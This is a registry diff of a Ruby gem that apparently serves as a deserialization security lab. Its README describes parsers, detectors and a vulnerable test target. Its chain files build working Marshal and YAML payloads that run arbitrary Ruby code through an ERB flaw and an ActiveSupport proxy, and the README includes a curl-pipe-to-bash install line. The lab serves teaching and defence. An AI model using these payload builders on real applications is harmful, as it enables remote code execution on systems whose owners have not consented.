marshalsea 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
data/README.md ADDED
@@ -0,0 +1,220 @@
1
+ <!-- ©AngelaMos | 2026 -->
2
+ <!-- README.md -->
3
+
4
+ ```json
5
+ ███╗ ███╗ █████╗ ██████╗ ███████╗██╗ ██╗ █████╗ ██╗ ███████╗███████╗ █████╗
6
+ ████╗ ████║██╔══██╗██╔══██╗██╔════╝██║ ██║██╔══██╗██║ ██╔════╝██╔════╝██╔══██╗
7
+ ██╔████╔██║███████║██████╔╝███████╗███████║███████║██║ ███████╗█████╗ ███████║
8
+ ██║╚██╔╝██║██╔══██║██╔══██╗╚════██║██╔══██║██╔══██║██║ ╚════██║██╔══╝ ██╔══██║
9
+ ██║ ╚═╝ ██║██║ ██║██║ ██║███████║██║ ██║██║ ██║███████╗███████║███████╗██║ ██║
10
+ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝
11
+ ```
12
+
13
+ [![Cybersecurity Projects](https://img.shields.io/badge/Cybersecurity--Projects-Project%20%2341-red?style=flat&logo=github)](https://github.com/CarterPerez-dev/Cybersecurity-Projects/tree/main/PROJECTS/beginner/deserialization-gadget-lab)
14
+ [![Ruby](https://img.shields.io/badge/Ruby-4.0-CC342D?style=flat&logo=ruby&logoColor=white)](https://www.ruby-lang.org)
15
+ [![Gem](https://img.shields.io/badge/gem-marshalsea-E9573F?style=flat&logo=rubygems&logoColor=white)](https://rubygems.org/gems/marshalsea)
16
+ [![Formats](https://img.shields.io/badge/formats-Marshal%20%2B%20YAML-6D4AFF?style=flat)](#the-two-allowlists)
17
+ [![CVE](https://img.shields.io/badge/CVE--2026--41316-CVSS%208.1-4457E8?style=flat)](https://www.ruby-lang.org/en/news/2026/04/21/erb-cve-2026-41316/)
18
+ [![Tests](https://img.shields.io/badge/tests-267-8B5CF6?style=flat)](#build-and-test)
19
+ [![License: AGPLv3](https://img.shields.io/badge/License-AGPL_v3-purple.svg)](https://www.gnu.org/licenses/agpl-3.0)
20
+
21
+ > A Ruby object-deserialization security lab. It reads `Marshal` and YAML bytes without ever reviving them, tells you which classes are in there and which methods those bytes would fire, hunts your loaded code for the classes that make usable gadgets, builds a working payload for a real 2026 CVE, and then stands up a deliberately vulnerable Sinatra target so you can watch the exploit land over HTTP and watch the defense stop it. It ships as a gem plus a container, and every defense in it comes with a written statement of what it cannot do.
22
+
23
+ ## Why deserialization is its own bug class
24
+
25
+ Serializing an object freezes it into bytes. Deserializing thaws it back. The trap is that thawing is not a passive copy: rebuilding an object calls methods on it, and if an attacker chooses the bytes then the attacker chooses which methods run. String enough unrelated standard-library methods together and code execution falls out the far end. A gadget chain is a Rube Goldberg machine, and nowhere in those bytes is there an instruction that says "run a command."
26
+
27
+ This is not a Ruby quirk. It is the same shape as Java deserialization, PHP POP chains, and Python pickle. CWE-502 is the seventh most common weakness in the CISA Known Exploited Vulnerabilities catalog, at 69 of 1,653 entries, and **34.8% of those carry known ransomware use against a 20.1% baseline** for the catalog as a whole. Ruby itself has shipped two advisories in this class recently: CVE-2024-27281 in RDoc and CVE-2026-41316 in ERB, the one this lab reproduces.
28
+
29
+ It is also the bug class the industry most consistently gets wrong in retellings. Equifax is cited as an insecure-deserialization breach in an enormous number of write-ups. It was OGNL injection, CWE-755. The Apache Software Foundation published that correction on 2017-09-14 and the correction lost. `learn/01-CONCEPTS.md` opens with that debunk on purpose, because a repository that teaches this class should be able to show its work.
30
+
31
+ ## What it is
32
+
33
+ Not a stub. Every capability below is exercised by 267 tests across seven suites and a six-stage gate that runs real containers, with 78 assertions that must all pass.
34
+
35
+ **A reader that never loads (Marshal)**
36
+ - Parses the Marshal binary format without calling `Marshal.load`: version bytes, type tags, instance variables, object links, symbols, floats
37
+ - Extracts referenced class names and sink tags without instantiating anything at all
38
+ - Rejects truncated streams, unsupported versions, unknown tags, out-of-bounds object links and symlinks, trailing bytes, and excessive nesting, and bounds fourteen separate resource axes by default rather than on request
39
+ - Labels what it cannot decode instead of guessing: a legacy float mantissa becomes an `undecoded_tail`, and a role slot holding the wrong node type becomes a named anomaly rather than a silent pass
40
+
41
+ **A reader that never loads (YAML)**
42
+ - Reads a document through `Psych.parse_stream`, which builds an AST and revives nothing
43
+ - Reports every `!ruby/*` tag with the method that tag would dispatch: `init_with`, `[]=`, or `marshal_load`
44
+ - Counts aliases instead of expanding them, so an alias bomb costs nothing to inspect
45
+
46
+ **A boundary detector with three states and no comforting lies**
47
+ - One `state` per decision, `proceed` / `blocked` / `observed`, mutually exclusive by construction. There is no `accepted?`, because "did the policy permit this" and "is this stream clean" have different answers under monitoring mode and one predicate cannot answer both
48
+ - Rejects on sink tags, on hash keys whose `#hash` or `#eql?` would dispatch during load, on `Range` endpoints whose `#<=>` would dispatch, and on unapproved class names, each with a reason that is a true statement about that specific stream
49
+ - Bounds how much attacker-controlled text reaches your logs, and escapes control bytes so a class name cannot forge a log line
50
+
51
+ **A runtime guard that vetoes instead of reporting**
52
+ - A `TracePoint` on `:call` fires *before* a method body runs, which is exactly the veto point a `Marshal.load` allowlist proc denies you
53
+ - Refuses an unpermitted `marshal_load`, `_load`, `_load_data`, `method_missing`, or `respond_to_missing?` before the body executes, thread-scoped so one request does not tax the process
54
+ - Ships its own bypasses, including the one it deliberately leaves open by default
55
+
56
+ **A reflection scanner over the loaded class graph**
57
+ - Sorts auto-invoked methods into entry points a deserializer dispatches directly and links a gadget calls once a chain is already moving, because `to_s` is a link and never an entry point and conflating them is a false positive
58
+ - Each entry point carries the format that reaches it, the gate that guards it, and the argument count the deserializer supplies, so a `marshal_load` whose arity cannot accept the call is not reported as reachable
59
+ - Counts every error it swallows, names the site, and treats a method it could not analyse as reachable rather than inert, so under-reporting is visible instead of silent
60
+
61
+ **Payloads, labelled by what they actually are**
62
+ - `erb-def-module` is a **chain**: it reaches `ERB#def_module` through an `ActiveSupport` proxy in hash-key position, so it executes inside `Marshal.load` with no cooperation from the application
63
+ - `erb-def-method` is a **primitive**: it forges an ERB object past the `@_init` guard and stays inert until the application calls a `def_*` method on it
64
+ - The builder never runs its own payload. A key-position stream is spliced from a standalone dump instead of assembled by building the hash locally, and it refuses any object graph whose link indices would shift
65
+
66
+ **A vulnerable target you can attack over HTTP**
67
+ - Sinatra on Rack 3 in a container with no route off the host, read-only root, dropped capabilities, and pinned dependencies
68
+ - Four endpoints: load a Marshal cookie, inspect it first, then the same pair again over YAML
69
+
70
+ ## Quick Start
71
+
72
+ ```bash
73
+ gem install marshalsea
74
+ ```
75
+
76
+ Look at a payload without running it:
77
+
78
+ ```ruby
79
+ require "marshalsea"
80
+
81
+ payload = Marshal.dump(Gem::Requirement.new(">= 0"))
82
+ result = Marshalsea::Marshal::Parser.new(payload).parse
83
+
84
+ result.class_names
85
+ # => ["Gem::Requirement", "Gem::Version"]
86
+
87
+ result.sinks.map { |s| "#{s.class_name}##{s.sink_method}" }
88
+ # => ["Gem::Requirement#marshal_load", "Gem::Version#marshal_load"]
89
+ ```
90
+
91
+ Make a decision instead of an observation:
92
+
93
+ ```ruby
94
+ detector = Marshalsea::Marshal::BoundaryDetector.new(allowed_class_names: %w[Hash String])
95
+ decision = detector.inspect_stream(untrusted_bytes)
96
+
97
+ decision.blocked? # => true
98
+ decision.reason # => "stream reaches Gem::Requirement#marshal_load during load, ..."
99
+
100
+ Marshal.load(decision.snapshot) if decision.proceed?
101
+ ```
102
+
103
+ Nothing above instantiates a class, calls a constructor, or invokes `Marshal.load`. Read `Marshalsea::Marshal::BoundaryDetector::LIMITATION_NOTICE` before you rely on `proceed?`.
104
+
105
+ Then run the lab itself from a checkout:
106
+
107
+ ```bash
108
+ just gate # everything: suites, matrix, exploit, detector, target, packaging
109
+ just target # stand up the vulnerable app and attack it over HTTP
110
+ just scan # run the gadget scanner over loaded modules
111
+ ```
112
+
113
+ > [!TIP]
114
+ > This project uses [`just`](https://github.com/casey/just) as a command runner. Type `just` to see every recipe.
115
+ >
116
+ > Install: `curl -sSf https://just.systems/install.sh | bash -s -- --to ~/.local/bin`
117
+
118
+ ## The two allowlists
119
+
120
+ This is the spine of the project and the reason it exists. Everyone teaches "do not deserialize untrusted input." Almost nobody explains why the obvious fix fails.
121
+
122
+ The obvious fix is handing `Marshal.load` an allowlist proc. It does not work, and the reason is one line of `marshal.c`: the proc runs in `r_post_proc`, which is invoked *after* `load_funcall(... s_mload ...)`. Psych's allowlist genuinely is a veto, for exactly one reason: it checks the tag *before* revival.
123
+
124
+ ```
125
+ Marshal bytes ──> build the object ──> RUN its hook ──> your allowlist runs
126
+ ^^^^^^^^^^^^ too late, an autopsy
127
+
128
+ Psych bytes ──> CHECK the tag ──> refuse
129
+ ^^^^^^^^^^^^^^ in time, a bouncer
130
+ ```
131
+
132
+ Same intent, opposite outcome, decided entirely by where the check sits. The target exposes both so you can `curl` the difference: `/render` and `/yaml/unsafe` both reach code execution with the same ERB object, and `/yaml/safe` refuses it by tag while `/render/safe` can only inspect the bytes and hope.
133
+
134
+ ## The two payloads
135
+
136
+ | Payload | Kind | Enters through | Fires when | Needs |
137
+ |---------|------|----------------|------------|-------|
138
+ | `erb-def-module` | **chain** | ungated `#hash` on a hash key | inside `Marshal.load`, no application call | activesupport loaded in the target |
139
+ | `erb-def-method` | **primitive** | the `@_init` guard bypass | only when the application calls `def_method` | nothing |
140
+
141
+ Both target CVE-2026-41316 (published 2026-04-23, CVSS 8.1, CWE-502 plus CWE-693). Ruby 2.7.0 added an `@_init` guard to stop `Marshal.load` code execution on ERB objects, and `def_method`, `def_module`, and `def_class` never checked it. Six years of a correct defense with three doors left open. The exploit gate proves both halves: the chain fires on erb 6.0.1 and is blocked on 6.0.1.1, one `docker pull` apart.
142
+
143
+ ## Limits
144
+
145
+ Every defense here is a trade, and the code says so out loud rather than in a footnote.
146
+
147
+ - **A stream that passes inspection is not a safe stream.** `proceed?` means the bytes matched a policy. It does not mean the payload is harmless, and `LIMITATION_NOTICE` says exactly that. The published CVE chain produces **zero sink tags**, so sink detection alone never catches it; only class allowlisting does.
148
+ - **The runtime guard is defense in depth, not a boundary.** Its cost is not a multiplier. Enabling a `TracePoint` costs a near-constant ~46 microseconds per load, so it is 1.0x on a 488 KB document and **40x on a 45-byte session cookie**, and a cookie is what this lab deserializes. It also covers the load window only: a class carrying no hook at all is built freely and fires whenever the application next touches it.
149
+ - **The scanner sees only what is loaded.** `ObjectSpace` cannot report a class nobody has required yet. On a stock image it narrows 119 ungated candidates to 29 reachable, and 135 of its candidates are C-defined with no Ruby source at all, which it reports as `unanalysable` rather than scoring as inert.
150
+ - **The gem floor is `>= 3.4` and it was measured, not chosen.** `Marshal.load` did not validate the bignum sign byte until 3.4. The parser accepts `+` and `-` only, so it models 3.4 and newer; run it on 3.3 and it disagrees with the interpreter it exists to model. `just package` re-proves that in both directions on every run.
151
+
152
+ ## Architecture
153
+
154
+ Two readers, one vocabulary. Nothing in the inspection path ever revives an object.
155
+
156
+ ```
157
+ Marshal bytes ──> Parser ──> Node graph ──┐
158
+ ├──> BoundaryDetector ──> Decision
159
+ YAML document ──> Inspector ──> Document ─┘ (proceed / blocked / observed)
160
+
161
+ loaded classes ──> Scanner ──> entry points + links (offense: what is usable)
162
+ chain registry ──> generate ──> serialize (offense: build the payload)
163
+ Marshal.load ──> LoadGuard (TracePoint :call) (defense: veto before the body)
164
+ ```
165
+
166
+ The parser is deliberately forensic: it keeps parsing a stream that CRuby would refuse, so a sink hidden in a slot where a symbol belongs stays visible in the report instead of vanishing behind a parse error. The detector is the strict half, and it rejects on the anomaly the parser recorded. That split is why a hostile stream can be both fully described and firmly refused.
167
+
168
+ ## Build and Test
169
+
170
+ ```bash
171
+ just check # the seven suites plus the standalone controls
172
+ just gate # check + matrix + exploit + detector + target + package
173
+ just lint # rubocop, 37 files
174
+ just build # build the gem into tmp/build
175
+ ```
176
+
177
+ Everything runs in Docker against a pinned Ruby, and every gate container runs with `--network none` except the target, which gets its own internal network with no route off the host.
178
+
179
+ The discipline here is that a green suite proves nothing until the thing under test has been mutated. Every rule added to this project ships with the mutant that kills it, every gate carries an input it must reject, and the tests that matter most are differential: they execute real `Marshal.load` and real `Psych`, observe what actually dispatched, and assert the model agrees, with liveness guards on both directions so a dead oracle cannot pass quietly.
180
+
181
+ ## Project Structure
182
+
183
+ ```
184
+ deserialization-gadget-lab/
185
+ ├── lib/marshalsea/
186
+ │ ├── marshal/
187
+ │ │ ├── parser.rb # the Marshal format reader that never calls Marshal.load
188
+ │ │ ├── node.rb # the parse graph, sealed and frozen before it is returned
189
+ │ │ ├── boundary_detector.rb # policy, three decision states, limitation notice
190
+ │ │ ├── load_guard.rb # TracePoint veto that fires before the hook body
191
+ │ │ ├── limits.rb # fourteen resource ceilings, all opt-out
192
+ │ │ ├── float_body.rb # float decoding that labels what it cannot decode
193
+ │ │ └── constants.rb errors.rb
194
+ │ ├── psych/inspector.rb # YAML AST reader, revives nothing
195
+ │ ├── chains/ # directory is the chain identity, no registry to rot
196
+ │ │ ├── base.rb erb_def_method.rb erb_def_module.rb psych_init_with.rb
197
+ │ ├── scanner.rb # reflection over the loaded class graph
198
+ │ └── chains.rb version.rb
199
+ ├── target/ # the deliberately vulnerable Sinatra app + containers
200
+ ├── scripts/ # the six gate stages and the gem auditor
201
+ ├── test/ # seven suites, the adversarial corpus, standalone controls
202
+ ├── learn/ # the teaching track (public)
203
+ └── justfile
204
+ ```
205
+
206
+ ## Learn
207
+
208
+ This project ships a full teaching track. Read it in order, or jump to what you need.
209
+
210
+ | Doc | What it covers |
211
+ |-----|----------------|
212
+ | [`learn/00-OVERVIEW.md`](learn/00-OVERVIEW.md) | What the lab is, prerequisites, the project layout, and a quick tour |
213
+ | [`learn/01-CONCEPTS.md`](learn/01-CONCEPTS.md) | The deserialization bug class, opening with the Equifax debunk, grounded in verified incidents |
214
+ | [`learn/02-ARCHITECTURE.md`](learn/02-ARCHITECTURE.md) | The two readers, the gated versus ungated dispatch axis, and why the detector and parser disagree on purpose |
215
+ | [`learn/03-IMPLEMENTATION.md`](learn/03-IMPLEMENTATION.md) | A code walkthrough from Marshal tags to a working chain, with the ActiveSupport proxy as the showpiece |
216
+ | [`learn/04-CHALLENGES.md`](learn/04-CHALLENGES.md) | Extension ideas, from a new chain to closing the guard's deferred-execution bypass |
217
+
218
+ ## License
219
+
220
+ [AGPL 3.0](LICENSE).
@@ -0,0 +1,102 @@
1
+ # ©AngelaMos | 2026
2
+ # base.rb
3
+ # frozen_string_literal: true
4
+
5
+ module Marshalsea
6
+ module Chains
7
+ class ChainError < StandardError; end
8
+
9
+ class NotImplementedByChainError < ChainError; end
10
+
11
+ class ObjectLinkRefusedError < ChainError; end
12
+
13
+ class Base
14
+ SUBCLASS_MUST_DEFINE = "chain must define"
15
+
16
+ KIND_PRIMITIVE = :primitive
17
+ KIND_CHAIN = :chain
18
+
19
+ HEADER_BYTES = 2
20
+ HASH_WITH_ONE_ENTRY = "{\x06"
21
+ NIL_VALUE = "0"
22
+
23
+ OBJECT_LINK_REFUSED = "the payload graph contains an object link, whose index would shift " \
24
+ "when spliced behind a hash node; build it without repeated objects"
25
+
26
+ class << self
27
+ def inherited(subclass)
28
+ super
29
+ Chains.register(subclass)
30
+ end
31
+
32
+ def metadata
33
+ raise NotImplementedByChainError, "#{SUBCLASS_MUST_DEFINE} metadata"
34
+ end
35
+
36
+ def chain_name
37
+ metadata.fetch(:name)
38
+ end
39
+
40
+ def vector
41
+ metadata.fetch(:vector)
42
+ end
43
+
44
+ def cve
45
+ metadata.fetch(:cve)
46
+ end
47
+
48
+ def target_gem
49
+ metadata.fetch(:gem)
50
+ end
51
+
52
+ def kind
53
+ metadata.fetch(:kind)
54
+ end
55
+
56
+ def chain?
57
+ kind == KIND_CHAIN
58
+ end
59
+
60
+ def primitive?
61
+ kind == KIND_PRIMITIVE
62
+ end
63
+
64
+ def required_gems
65
+ metadata.fetch(:requires, [])
66
+ end
67
+
68
+ def affected_requirements
69
+ metadata.fetch(:affected).map { |constraint| Gem::Requirement.new(constraint) }
70
+ end
71
+
72
+ def affects?(version)
73
+ candidate = Gem::Version.new(version.to_s)
74
+ affected_requirements.any? { |requirement| requirement.satisfied_by?(candidate) }
75
+ end
76
+ end
77
+
78
+ def generate
79
+ raise NotImplementedByChainError, "#{SUBCLASS_MUST_DEFINE} generate"
80
+ end
81
+
82
+ def serialize
83
+ ::Marshal.dump(generate)
84
+ end
85
+
86
+ private
87
+
88
+ def in_hash_key_position(object)
89
+ body = ::Marshal.dump(object).byteslice(HEADER_BYTES..)
90
+ header = ::Marshal.dump(nil).byteslice(0, HEADER_BYTES)
91
+ refuse_object_links("#{header}#{HASH_WITH_ONE_ENTRY}#{body}#{NIL_VALUE}".b)
92
+ end
93
+
94
+ def refuse_object_links(stream)
95
+ graph = Marshalsea::Marshal::Parser.new(stream).parse
96
+ return stream if graph.nodes.none? { |node| node.type == :object_link }
97
+
98
+ raise ObjectLinkRefusedError, OBJECT_LINK_REFUSED
99
+ end
100
+ end
101
+ end
102
+ end
@@ -0,0 +1,72 @@
1
+ # ©AngelaMos | 2026
2
+ # erb_def_method.rb
3
+ # frozen_string_literal: true
4
+
5
+ require "erb"
6
+
7
+ module Marshalsea
8
+ module Chains
9
+ class ErbDefMethod < Base
10
+ CHAIN_NAME = "erb-def-method"
11
+ VECTOR = "def_method"
12
+ CVE = "CVE-2026-41316"
13
+ TARGET_GEM = "erb"
14
+
15
+ AFFECTED = [
16
+ ["< 4.0.3.1"],
17
+ ["= 4.0.4"],
18
+ [">= 5.0.0", "< 6.0.1.1"],
19
+ [">= 6.0.2", "< 6.0.4"]
20
+ ].map { |constraints| constraints.map(&:freeze).freeze }.freeze
21
+
22
+ SRC_PREFIX = "#\nend\n"
23
+ SRC_SUFFIX = "\ndef _marshalsea_unused\n"
24
+ DEFAULT_FILENAME = "(erb)"
25
+ DEFAULT_LINENO = 0
26
+
27
+ IVAR_SRC = :@src
28
+ IVAR_FILENAME = :@filename
29
+ IVAR_LINENO = :@lineno
30
+
31
+ CANARY_TEMPLATE = "File.write(%<path>p, %<marker>p)"
32
+
33
+ METADATA = {
34
+ name: CHAIN_NAME,
35
+ vector: VECTOR,
36
+ cve: CVE,
37
+ gem: TARGET_GEM,
38
+ affected: AFFECTED,
39
+ kind: KIND_PRIMITIVE
40
+ }.freeze
41
+
42
+ def self.metadata
43
+ METADATA
44
+ end
45
+
46
+ def self.canary(path, marker)
47
+ new(format(CANARY_TEMPLATE, path: path, marker: marker))
48
+ end
49
+
50
+ def initialize(ruby_source)
51
+ super()
52
+ @ruby_source = ruby_source
53
+ end
54
+
55
+ def generate
56
+ object = ERB.allocate
57
+ object.instance_variable_set(IVAR_SRC, src)
58
+ object.instance_variable_set(IVAR_FILENAME, DEFAULT_FILENAME)
59
+ object.instance_variable_set(IVAR_LINENO, DEFAULT_LINENO)
60
+ object
61
+ end
62
+
63
+ def src
64
+ "#{SRC_PREFIX}#{@ruby_source}#{SRC_SUFFIX}"
65
+ end
66
+
67
+ private
68
+
69
+ attr_reader :ruby_source
70
+ end
71
+ end
72
+ end
@@ -0,0 +1,129 @@
1
+ # ©AngelaMos | 2026
2
+ # erb_def_module.rb
3
+ # frozen_string_literal: true
4
+
5
+ require "erb"
6
+
7
+ module Marshalsea
8
+ module Chains
9
+ class ErbDefModule < Base
10
+ CHAIN_NAME = "erb-def-module"
11
+ VECTOR = "hash"
12
+ CVE = "CVE-2026-41316"
13
+ TARGET_GEM = "erb"
14
+
15
+ REQUIRES = ["activesupport"].freeze
16
+
17
+ AFFECTED = [
18
+ ["< 4.0.3.1"],
19
+ ["= 4.0.4"],
20
+ [">= 5.0.0", "< 6.0.1.1"],
21
+ [">= 6.0.2", "< 6.0.4"]
22
+ ].map { |constraints| constraints.map(&:freeze).freeze }.freeze
23
+
24
+ PROXY_CLASS = "ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"
25
+ DEPRECATOR_CLASS = "ActiveSupport::Deprecation"
26
+
27
+ DISPATCH_METHOD = :def_module
28
+ PROXY_LABEL = "@marshalsea"
29
+
30
+ SRC_PREFIX = "#\nend\n"
31
+ SRC_SUFFIX = "\ndef _marshalsea_unused\n"
32
+ DEFAULT_FILENAME = "(erb)"
33
+ DEFAULT_LINENO = 0
34
+
35
+ IVAR_SRC = :@src
36
+ IVAR_FILENAME = :@filename
37
+ IVAR_LINENO = :@lineno
38
+ IVAR_INSTANCE = :@instance
39
+ IVAR_METHOD = :@method
40
+ IVAR_VAR = :@var
41
+ IVAR_DEPRECATOR = :@deprecator
42
+ IVAR_SILENCED = :@silenced
43
+
44
+ CANARY_TEMPLATE = "File.write(%<path>p, %<marker>p)"
45
+
46
+ MISSING_DISPATCHER = "#{PROXY_CLASS} is not loaded; this chain needs activesupport".freeze
47
+
48
+ SET_IVAR = Object.instance_method(:instance_variable_set).freeze
49
+
50
+ METADATA = {
51
+ name: CHAIN_NAME,
52
+ vector: VECTOR,
53
+ cve: CVE,
54
+ gem: TARGET_GEM,
55
+ affected: AFFECTED,
56
+ kind: KIND_CHAIN,
57
+ requires: REQUIRES
58
+ }.freeze
59
+
60
+ def self.metadata
61
+ METADATA
62
+ end
63
+
64
+ def self.canary(path, marker)
65
+ new(format(CANARY_TEMPLATE, path: path, marker: marker))
66
+ end
67
+
68
+ def self.dispatcher_available?
69
+ dispatcher_class
70
+ true
71
+ rescue ChainError
72
+ false
73
+ end
74
+
75
+ def self.dispatcher_class
76
+ require "active_support"
77
+ require "active_support/deprecation"
78
+ Object.const_get(PROXY_CLASS)
79
+ rescue LoadError, NameError
80
+ raise ChainError, MISSING_DISPATCHER
81
+ end
82
+
83
+ def self.deprecator_class
84
+ dispatcher_class
85
+ Object.const_get(DEPRECATOR_CLASS)
86
+ end
87
+
88
+ def initialize(ruby_source)
89
+ super()
90
+ @ruby_source = ruby_source
91
+ end
92
+
93
+ def generate
94
+ proxy = self.class.dispatcher_class.allocate
95
+ SET_IVAR.bind_call(proxy, IVAR_INSTANCE, template)
96
+ SET_IVAR.bind_call(proxy, IVAR_METHOD, DISPATCH_METHOD)
97
+ SET_IVAR.bind_call(proxy, IVAR_VAR, PROXY_LABEL)
98
+ SET_IVAR.bind_call(proxy, IVAR_DEPRECATOR, deprecator)
99
+ proxy
100
+ end
101
+
102
+ def serialize
103
+ in_hash_key_position(generate)
104
+ end
105
+
106
+ def template
107
+ object = ERB.allocate
108
+ object.instance_variable_set(IVAR_SRC, src)
109
+ object.instance_variable_set(IVAR_FILENAME, DEFAULT_FILENAME)
110
+ object.instance_variable_set(IVAR_LINENO, DEFAULT_LINENO)
111
+ object
112
+ end
113
+
114
+ def deprecator
115
+ silent = self.class.deprecator_class.allocate
116
+ silent.instance_variable_set(IVAR_SILENCED, true)
117
+ silent
118
+ end
119
+
120
+ def src
121
+ "#{SRC_PREFIX}#{@ruby_source}#{SRC_SUFFIX}"
122
+ end
123
+
124
+ private
125
+
126
+ attr_reader :ruby_source
127
+ end
128
+ end
129
+ end
@@ -0,0 +1,57 @@
1
+ # ©AngelaMos | 2026
2
+ # psych_init_with.rb
3
+ # frozen_string_literal: true
4
+
5
+ require "psych"
6
+
7
+ module Marshalsea
8
+ module Chains
9
+ class PsychInitWith < Base
10
+ CHAIN_NAME = "psych-init-with"
11
+ VECTOR = "init_with"
12
+ CVE = "none"
13
+ TARGET_GEM = "psych"
14
+
15
+ AFFECTED = [[">= 0"]].map { |constraints| constraints.map(&:freeze).freeze }.freeze
16
+
17
+ DOCUMENT_TEMPLATE = <<~YAML
18
+ --- !ruby/object:%<class_name>s
19
+ %<ivar>s: %<value>s
20
+ YAML
21
+
22
+ DEFAULT_IVAR = "cmd"
23
+
24
+ METADATA = {
25
+ name: CHAIN_NAME,
26
+ vector: VECTOR,
27
+ cve: CVE,
28
+ gem: TARGET_GEM,
29
+ affected: AFFECTED,
30
+ kind: KIND_CHAIN
31
+ }.freeze
32
+
33
+ def self.metadata
34
+ METADATA
35
+ end
36
+
37
+ def initialize(class_name, value, ivar: DEFAULT_IVAR)
38
+ super()
39
+ @class_name = class_name
40
+ @value = value
41
+ @ivar = ivar
42
+ end
43
+
44
+ def generate
45
+ format(DOCUMENT_TEMPLATE, class_name: class_name, ivar: ivar, value: value.inspect)
46
+ end
47
+
48
+ def serialize
49
+ generate
50
+ end
51
+
52
+ private
53
+
54
+ attr_reader :class_name, :value, :ivar
55
+ end
56
+ end
57
+ end
@@ -0,0 +1,38 @@
1
+ # ©AngelaMos | 2026
2
+ # chains.rb
3
+ # frozen_string_literal: true
4
+
5
+ module Marshalsea
6
+ module Chains
7
+ class UnknownChainError < StandardError; end
8
+
9
+ @registry = []
10
+
11
+ class << self
12
+ def registry
13
+ @registry.dup.freeze
14
+ end
15
+
16
+ def register(chain)
17
+ @registry << chain unless @registry.include?(chain)
18
+ end
19
+
20
+ def all
21
+ registry
22
+ end
23
+
24
+ def find(name)
25
+ all.find { |chain| chain.chain_name == name } ||
26
+ raise(UnknownChainError, name.to_s)
27
+ end
28
+
29
+ def for_version(gem_name, version)
30
+ all.select { |chain| chain.target_gem == gem_name && chain.affects?(version) }
31
+ end
32
+ end
33
+ end
34
+ end
35
+
36
+ require_relative "chains/base"
37
+
38
+ Dir[File.join(__dir__, "chains", "*.rb")].each { |chain| require chain }